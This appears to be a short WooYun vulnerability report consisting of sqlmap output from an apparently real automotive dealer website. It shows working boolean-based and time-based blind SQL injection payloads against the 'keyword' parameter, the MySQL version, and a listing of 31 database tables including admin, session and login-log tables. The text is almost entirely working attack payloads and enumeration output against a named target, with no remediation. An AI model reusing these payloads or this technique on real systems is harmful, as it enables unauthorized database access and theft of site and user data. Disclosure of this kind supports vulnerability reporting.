WooYun.org

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: keyword (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: car=7002&keyword=1%' AND 2743=2743 AND '%'='
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: car=7002&keyword=1%' AND (SELECT * FROM (SELECT(SLEEP(5)))izkF) AND '%'='
---
back-end DBMS: MySQL 5.0.12
Database: faw_vw_website
[31 tables]
+------------------------+
| ci_addonarticle        |
| ci_admin               |
| ci_admin_node          |
| ci_admin_role          |
| ci_arcatt              |
| ci_archives            |
| ci_arctiny             |
| ci_arctype             |
| ci_attachment          |
| ci_autoparts           |
| ci_autoparts_back      |
| ci_autoparts_dolog     |
| ci_autoparts_log       |
| ci_brand_types         |
| ci_brands              |
| ci_captcha             |
| ci_channeltype         |
| ci_citys               |
| ci_common_cache        |
| ci_dealer_brand_map    |
| ci_dealers             |
| ci_dealers_bak20141205 |
| ci_log                 |
| ci_login_log           |
| ci_menu                |
| ci_provinces           |
| ci_sessions            |
| ci_stepselect          |
| ci_sys_enum            |
| ci_sysconfig           |
| ci_table               |
+------------------------+